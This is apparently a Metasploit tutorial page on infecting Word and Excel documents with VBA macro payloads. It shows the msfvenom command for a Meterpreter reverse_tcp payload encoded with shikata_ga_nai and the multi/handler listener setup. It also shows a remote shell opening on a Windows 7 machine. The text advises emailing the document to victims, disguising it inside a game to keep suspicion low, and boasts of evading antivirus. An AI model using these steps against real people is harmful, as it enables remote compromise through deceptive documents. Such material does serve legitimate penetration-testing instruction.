VBScript Infection Methods a11y.text VBScript Infection Methods Metasploit has a couple of built in methods you can use to infect Word and Excel documents with malicious Metasploit payloads. You can also use your own custom payloads as well. It doesnâ€™t necessarily need to be a Metasploit payload. This method is useful when going after client-side attacks and could also be potentially useful if you have to bypass some sort of filtering that does not allow executables and only permits documents to pass through. To begin, we first need to create our VBScript payload.

```
root@kali: # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=8080 -e x86/shikata_ga_nai -f vba-exe
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai chosen with final size 326
Payload size: 326 bytes
'*****************************************************************
'*
'* This code is now split into two pieces:
'*  1. The Macro. This must be copied into the Office document
'*     macro editor. This macro will run on startup.
'*
'*  2. The Data. The hex dump at the end of this output must be
'*     appended to the end of the document contents.
'*
...snip...
```

As the output message, indicates, the script is in two parts. The first part of the script is created as a macro and the second part is appended into the document text itself. You will need to transfer this script over to a machine with Windows and Office installed and perform the following:

Word/Excel 2003: Tools -> Macros -> Visual Basic Editor

Word/Excel 2007: View Macros -> then place a name like "moo" and select "create". This will open up the visual basic editor. Paste the output of the first portion of the payload script into the editor, save it and then paste the remainder of the script into the word document itself. This is when you would perform the client-side attack by emailing this Word document to someone. In order to keep user suspicion low, try embedding the code in one of the many Word/Excel games that are available on the Internet. That way, the user is happily playing the game while you are working in the background. This gives you some extra time to migrate to another process if you are using Meterpreter as a payload. Here we give a generic name to the macro. Before we send off our malicious document to our victim, we first need to set up our Metasploit listener. root@kali:# msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.101; set LPORT 8080; run; exit -y"

```
        ##                 ###       ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                       ##



   =[ metasploit v4.11.4-2015071402                  ]
+ -- --=[ 1467 exploits - 840 auxiliary - 232 post        ]
+ -- --=[ 432 payloads - 37 encoders - 8 nops             ]

PAYLOAD => windows/meterpreter/reverse_tcp
```

```
LHOST => 192.168.1.101
LPORT => 8080
[*] Started reverse handler on 192.168.1.101:8080
[*] Starting the payload handler... Now we can test out the document by opening it up and check back to where we have our Metasploit exploit/multi/handler listener: [*] Sending stage (749056 bytes) to 192.168.1.150
[*] Meterpreter session 1 opened (192.168.1.101:8080 -> 192.168.1.150:52465) at Thu Nov 25 16:54:29 -0700 2010

meterpreter > sysinfo
Computer: XEN-WIN7-PROD
OS      : Windows 7 (Build 7600, ).
Arch    : x64 (Current Process is WOW64)
Language: en_US
meterpreter > getuid
Server username: xen-win7-prod\dookie
meterpreter > Success! We have a Meterpreter shell right to the system that opened the document, and best of all, it doesnâ€™t get picked up by anti-virus!!! Next MSF Post Exploitation Prev Client Side Exploits
```